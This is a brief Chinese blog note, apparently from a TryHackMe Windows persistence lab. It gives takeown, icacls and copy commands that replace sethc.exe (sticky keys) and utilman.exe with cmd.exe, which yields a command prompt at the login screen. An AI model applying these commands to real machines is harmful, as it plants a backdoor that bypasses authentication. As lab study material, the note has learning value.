windows-持久化-thm-登录屏幕/RDP 后门

连续按五次shift,会呼出粘滞键窗口,其实是触发了C:\Windows\System32\sethc.exe

如果可以用cmd.exe替换掉sethc.exe,就可以不登录也能按5次shift呼出cmd

按顺序输入下面三条命令

C:\> takeown /f c:\Windows\System32\sethc.exe

C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe



Utilman

相当于呼出C:\Windows\System32\Utilman.exe

takeown /f c:\Windows\System32\utilman.exe

icacls C:\Windows\System32\utilman.exe /grant Administrator:F

copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注